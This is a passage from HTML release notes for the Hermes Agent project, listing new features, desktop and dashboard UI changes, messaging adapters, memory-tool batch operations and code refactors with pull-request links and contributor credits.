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<p><strong>Automation Blueprints — schedule things without learning cron</strong> — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no <code>slot=value</code> typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing <code>0 8 * * *</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<p><strong>Cursor's Composer model, through your xAI Grok subscription</strong> — <code>grok-composer-2.5-fast</code> is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (<a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#6f89e17</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<p><strong>Full profile builder in the dashboard</strong> — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing <code>config.yaml</code>. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<li>
<p><strong>Skills Hub browser rehaul</strong> — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<p><strong>The <code>memory</code> tool got a major upgrade — atomic batch operations</strong> — The <code>memory</code> tool gained an <code>operations</code> array that applies a batch of add/replace/remove edits <strong>atomically against the final character budget</strong>. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<li>
<p><strong>Secure dashboard login</strong> — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a <code>public_url</code> override is silently rejected. Exposing your dashboard to the network is safer by default. (<a href="https://github.com/NousResearch/hermes-agent/pull/42578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42578/hovercard">#42578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43214/hovercard">#42578</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Official WhatsApp Business Cloud API adapter</strong> — Alongside the existing Baileys bridge, Hermes now speaks the <strong>official</strong> WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<li>
<p><strong>Rich text for Telegram — Bot API 10.1 rich messages</strong> — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45953/hovercard">#45953</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
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<p><strong>Curator cost optimization — no aux-model spend on routine runs</strong> — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (<code>curator.consolidate: true</code> or <code>hermes curator run --consolidate</code>). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you <strong>zero tokens</strong>. (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>New surfaces &amp; UX</h3>
<ul>
<li>Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (<a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42480" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42480/hovercard">#42480</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47985/hovercard">#47985</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Live subagent <strong>watch-windows</strong> — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44630/hovercard">#44630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43219/hovercard">#43219</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46951" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46951/hovercard">#46951</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from <code>hermes model</code> in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (<a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40563" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40563/hovercard">#40563</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49080/hovercard">#49080</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40286/hovercard">#40286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Install <strong>any VS Code Marketplace theme</strong>; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (<a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42286/hovercard">#42286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45086/hovercard">#45086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40708/hovercard">#40708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/42521" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42521/hovercard">#42521</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43111/hovercard">#43111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45273/hovercard">#45273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41670" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41670/hovercard">#41670</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41751/hovercard">#41751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (<a href="https://github.com/NousResearch/hermes-agent/pull/40234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40234/hovercard">#40234</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44864/hovercard">#44864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45263/hovercard">#45263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40684/hovercard">#40684</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Desktop pets — pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/47938" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47938/hovercard">#47938</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; <code>/browser connect</code> on a local gateway (<a href="https://github.com/NousResearch/hermes-agent/pull/41232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41232/hovercard">#41232</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40559" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40559/hovercard">#40559</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40355/hovercard">#40355</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41666" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41666/hovercard">#41666</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47245/hovercard">#47245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Japanese + Traditional Chinese language switching (<a href="https://github.com/NousResearch/hermes-agent/pull/40114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40114/hovercard">#40114</a>)</li>
<li>"Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (<a href="https://github.com/NousResearch/hermes-agent/pull/49094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49094/hovercard">#49094</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Remote-gateway &amp; multi-profile</h3>
<ul>
<li><strong>Remote media relay</strong> — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via <code>file.attach</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41336" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41336/hovercard">#41336</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42634/hovercard">#42634</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (<a href="https://github.com/NousResearch/hermes-agent/pull/42181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42181/hovercard">#42181</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44326" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44326/hovercard">#44326</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47011" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47011/hovercard">#47011</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41350/hovercard">#41350</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (<a href="https://github.com/NousResearch/hermes-agent/pull/44529" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44529/hovercard">#44529</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42613" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42613/hovercard">#42613</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41103" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41103/hovercard">#41103</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41120/hovercard">#41120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41182/hovercard">#41182</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47919" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47919/hovercard">#47919</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47655/hovercard">#47655</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills &amp; toolsets; session switcher panel on the Chat tab (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43808/hovercard">#43808</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49077/hovercard">#49077</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44231/hovercard">#44231</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48520/hovercard">#48520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40418" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40418/hovercard">#40418</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Enable webhooks from the Webhooks page; idempotent <code>hermes dashboard register</code>; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/44021" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44021/hovercard">#44021</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42455/hovercard">#42455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43424/hovercard">#43424</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43512/hovercard">#43512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41145" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41145/hovercard">#41145</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49141/hovercard">#49141</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>God-file refactor wave (run_agent.py / cli.py / gateway/run.py)</h3>
<ul>
<li><strong><code>cli.py</code> main() 3297 → 954 lines</strong> — extracted 28 subcommand parsers into <code>hermes_cli/subcommands/</code>, then promoted 9 closure handlers; 32 slash-command handlers → <code>CLICommandsMixin</code>; 18 model-flow wizard functions → <code>model_setup_flows</code>; agent-construction cluster → <code>CLIAgentSetupMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41798" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41798/hovercard">#41798</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41835/hovercard">#41835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41942" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41942/hovercard">#41942</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42174/hovercard">#42174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42153" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42153/hovercard">#42153</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>gateway/run.py</code> 19157 → 15870 lines</strong> — 42 slash-command handlers → <code>GatewaySlashCommandsMixin</code>; authorization cluster → <code>GatewayAuthorizationMixin</code>; kanban watcher loops → <code>GatewayKanbanWatchersMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41886/hovercard">#41886</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42159" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42159/hovercard">#42159</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41849/hovercard">#41849</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>run_agent.py</code> turn loop</strong> — extracted prologue into <code>TurnContext</code>, post-loop tail into <code>finalize_turn</code>, consolidated inner-retry-loop recovery flags into <code>TurnRetryState</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41778/hovercard">#41778</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42169/hovercard">#42169</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41828/hovercard">#41828</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, prompt &amp; tools</h3>
<ul>
<li><strong><code>memory</code> batch operations</strong> — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
